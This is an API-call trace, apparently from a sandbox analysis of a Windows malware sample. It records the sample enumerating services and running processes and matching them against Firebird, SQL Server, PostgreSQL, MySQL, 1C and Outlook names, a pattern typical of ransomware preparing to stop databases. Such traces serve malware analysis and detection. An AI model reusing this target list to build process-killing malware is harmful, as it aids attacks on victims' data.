	[0055.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0055.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0055.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0055.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0055.173] lstrlenW (lpString="Dnscache") returned 8
	[0055.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0055.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0055.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0055.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0055.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0055.174] lstrlenW (lpString="DPS") returned 3
	[0055.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0055.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0055.174] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0055.174] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0055.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0055.174] lstrlenW (lpString="eventlog") returned 8
	[0055.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0055.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0055.174] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0055.174] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0055.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0055.174] lstrlenW (lpString="EventSystem") returned 11
	[0055.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0055.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0055.174] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0055.174] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0055.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0055.174] lstrlenW (lpString="gpsvc") returned 5
	[0055.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0055.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0055.174] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0055.174] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0055.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0055.174] lstrlenW (lpString="iphlpsvc") returned 8
	[0055.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0055.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0055.175] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0055.175] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0055.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0055.175] lstrlenW (lpString="LanmanServer") returned 12
	[0055.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0055.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0055.175] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0055.175] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0055.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0055.175] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0055.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0055.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0055.175] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0055.175] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0055.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0055.175] lstrlenW (lpString="lmhosts") returned 7
	[0055.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0055.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0055.175] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0055.175] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0055.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0055.175] lstrlenW (lpString="MMCSS") returned 5
	[0055.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0055.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0055.175] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0055.175] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0055.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0055.175] lstrlenW (lpString="MpsSvc") returned 6
	[0055.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0055.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0055.176] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0055.176] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0055.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0055.176] lstrlenW (lpString="Netman") returned 6
	[0055.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0055.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0055.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0055.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0055.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0055.176] lstrlenW (lpString="netprofm") returned 8
	[0055.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0055.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0055.176] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0055.176] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0055.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0055.176] lstrlenW (lpString="NlaSvc") returned 6
	[0055.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0055.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0055.176] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0055.176] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0055.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0055.176] lstrlenW (lpString="nsi") returned 3
	[0055.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0055.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0055.176] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0055.176] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0055.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0055.177] lstrlenW (lpString="PcaSvc") returned 6
	[0055.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0055.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0055.177] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0055.177] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0055.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0055.177] lstrlenW (lpString="PlugPlay") returned 8
	[0055.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0055.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0055.177] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0055.177] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0055.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0055.177] lstrlenW (lpString="Power") returned 5
	[0055.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0055.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0055.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0055.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0055.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0055.177] lstrlenW (lpString="ProfSvc") returned 7
	[0055.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0055.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0055.177] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0055.177] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0055.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0055.177] lstrlenW (lpString="RpcEptMapper") returned 12
	[0055.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0055.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0055.177] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0055.177] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0055.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0055.178] lstrlenW (lpString="RpcSs") returned 5
	[0055.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0055.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0055.178] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0055.178] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0055.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0055.178] lstrlenW (lpString="SamSs") returned 5
	[0055.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0055.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0055.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0055.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0055.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0055.178] lstrlenW (lpString="Schedule") returned 8
	[0055.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0055.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0055.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0055.178] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0055.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0055.178] lstrlenW (lpString="SENS") returned 4
	[0055.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0055.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0055.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0055.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0055.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0055.178] lstrlenW (lpString="ShellHWDetection") returned 16
	[0055.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0055.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0055.178] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0055.179] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0055.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0055.179] lstrlenW (lpString="Spooler") returned 7
	[0055.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0055.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0055.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0055.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0055.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0055.179] lstrlenW (lpString="swprv") returned 5
	[0055.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0055.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0055.179] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0055.179] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0055.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0055.179] lstrlenW (lpString="SysMain") returned 7
	[0055.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0055.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0055.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0055.179] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0055.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0055.179] lstrlenW (lpString="Themes") returned 6
	[0055.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0055.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0055.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0055.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0055.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0055.179] lstrlenW (lpString="TrkWks") returned 6
	[0055.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0055.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0055.180] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0055.180] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0055.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0055.180] lstrlenW (lpString="UxSms") returned 5
	[0055.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0055.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0055.180] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0055.180] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0055.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0055.180] lstrlenW (lpString="VSS") returned 3
	[0055.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0055.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0055.180] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0055.180] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0055.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0055.180] lstrlenW (lpString="WdiServiceHost") returned 14
	[0055.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0055.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0055.180] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0055.180] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0055.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0055.180] lstrlenW (lpString="WdiSystemHost") returned 13
	[0055.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0055.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0055.180] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0055.180] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0055.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0055.180] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0055.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0055.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0055.181] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0055.181] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0055.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0055.181] lstrlenW (lpString="Winmgmt") returned 7
	[0055.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0055.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0055.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0055.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0055.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0055.181] lstrlenW (lpString="WPDBusEnum") returned 10
	[0055.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0055.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0055.181] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0055.181] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0055.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0055.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ec0068 | out: hHeap=0x4f0000) returned 1
	[0055.181] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x158
	[0055.184] Process32FirstW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0055.184] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0055.185] lstrlenW (lpString="System") returned 6
	[0055.185] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0055.185] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0055.185] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0055.185] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0055.185] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0055.185] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0055.185] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0055.185] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0055.186] lstrlenW (lpString="smss.exe") returned 8
	[0055.186] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0055.186] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0055.186] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0055.186] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0055.186] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0055.186] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0055.186] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0055.186] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0055.187] lstrlenW (lpString="csrss.exe") returned 9
	[0055.187] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0055.187] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0055.187] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0055.187] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0055.187] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0055.187] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0055.187] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0055.187] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0055.190] lstrlenW (lpString="wininit.exe") returned 11
	[0055.190] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0055.190] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0055.190] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0055.190] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0055.191] lstrlenW (lpString="csrss.exe") returned 9
	[0055.191] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0055.192] lstrlenW (lpString="winlogon.exe") returned 12
	[0055.192] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0055.192] lstrlenW (lpString="services.exe") returned 12
	[0055.192] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0055.193] lstrlenW (lpString="lsass.exe") returned 9
	[0055.193] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0055.194] lstrlenW (lpString="lsm.exe") returned 7
	[0055.194] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.195] lstrlenW (lpString="svchost.exe") returned 11
	[0055.195] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.195] lstrlenW (lpString="svchost.exe") returned 11
	[0055.195] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.196] lstrlenW (lpString="svchost.exe") returned 11
	[0055.196] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.197] lstrlenW (lpString="svchost.exe") returned 11
	[0055.197] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.198] lstrlenW (lpString="svchost.exe") returned 11
	[0055.198] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0055.198] lstrlenW (lpString="audiodg.exe") returned 11
	[0055.198] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.199] lstrlenW (lpString="svchost.exe") returned 11
